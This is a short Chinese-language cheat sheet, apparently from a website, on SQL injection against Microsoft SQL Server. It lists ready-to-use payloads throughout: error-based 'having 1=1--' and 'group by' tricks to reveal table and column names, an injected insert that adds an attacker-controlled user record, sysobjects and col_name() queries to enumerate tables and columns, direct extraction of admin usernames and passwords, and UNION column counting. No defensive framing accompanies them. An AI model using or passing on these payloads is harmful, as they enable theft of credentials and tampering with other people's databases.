MSSQL注入:
having 1=1-- 【爆出一个表名及字段,如:列 'users.ID' 在选择列表中无效】 group by users.ID having 1=1-- group by users.ID, users.username, users.password, users.privs having 1=1-- ; insert into users values( 666, attacker, foobar, 0xffff )-- 【插入新记录】
猜解表名: SQL SERVER的每一个数据库都会有用户表和系统表,在系统表sysobjects中,数据库内创建的每个对象(约束、默认值、日志、规则、存储过程等)在sysobjects表中占一行,那么也就是说当前数据库的表名都会在该表内有存在。我们常用到的参数有三个,name (数据表的名字),xtype( 数据表的类型 u为用户表),id( 数据表的对象标志)。 and (select top 1 name from sysobjects where xtype='u')>0 (得到第一个表名:比如user) and (select top 1 name from sysobjects where xtype='u' and name not in ('user'))>0 得到第二个表名,后面的以此类推。。
猜解列名: 用到系统自带的2个函数col_name()和object_id(),col_name()的格式是“COL_NAME( table_id , column_id )”,参数table_id是表的标识号,column_id是列的标识号,object_id(admin)就是得到admin在sysobjects中的标识号,column_id=1,2,3表明admin的第1,2,3列。 and (select top 1 col_name(object_id('admin'),1) from sysobjects)>0 【得到admin字段的第一个列名“username”依次类推,得到“password”“id”等等】
猜解字段内容: and (select top 1 username from [admin])>0 【直接得到用户名】 and (select top 1 password from [admin])>0 【直接得到密码】
UNION联合查询: select name,password,id from user union select user,pwd,uid from 表名 and 1=1 union select 1,2,3,4,5... from 表名 (数值从1开始慢慢加,如果加到5返回正常,那就存在5个字段)
(责任编辑:admin) |